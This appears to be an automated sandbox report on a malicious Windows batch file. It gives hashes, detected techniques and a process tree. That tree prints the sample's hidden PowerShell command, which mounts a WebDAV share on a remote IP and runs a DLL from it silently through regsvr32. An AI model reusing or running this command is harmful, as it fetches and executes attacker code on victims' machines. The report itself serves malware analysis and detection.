c888c0ad843266b7dfc42c904b3d0ca76dc5ee28bf1ce297a8b2f41ae8363933

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:36

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General

Target

27431290512703010994.bat
Size

2KB
MD5

fd53bd6629e0f28f82b35d1670ca9b97
SHA1

941a13d8534b52c60e1a508a70be0b9fa9851473
SHA256

c888c0ad843266b7dfc42c904b3d0ca76dc5ee28bf1ce297a8b2f41ae8363933
SHA512

125d7fa1a7801dcacd7c24b6510ce5b6d918c3cd807bdffdc2865025438a225fc9e4817c6cee30e3a7f54db06570094d95f2cded6dcdeaf8e9d4a7d73963346d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1184	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe
2732	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 2732	1188	cmd.exe	31
PID 1188 wrote to memory of 2732	1188	cmd.exe	31
PID 1188 wrote to memory of 2732	1188	cmd.exe	31
PID 1188 wrote to memory of 1184	1188	cmd.exe	32
PID 1188 wrote to memory of 1184	1188	cmd.exe	32
PID 1188 wrote to memory of 1184	1188	cmd.exe	32
PID 1184 wrote to memory of 2480	1184	powershell.exe	34
PID 1184 wrote to memory of 2480	1184	powershell.exe	34
PID 1184 wrote to memory of 2480	1184	powershell.exe	34
PID 1184 wrote to memory of 2536	1184	powershell.exe	35
PID 1184 wrote to memory of 2536	1184	powershell.exe	35
PID 1184 wrote to memory of 2536	1184	powershell.exe	35
PID 1184 wrote to memory of 2536	1184	powershell.exe	35
PID 1184 wrote to memory of 2536	1184	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\27431290512703010994.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2480
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll
    3⤵
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1184-24-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/1184-25-0x0000000001F20000-0x0000000001F28000-memory.dmp

Filesize
32KB

Download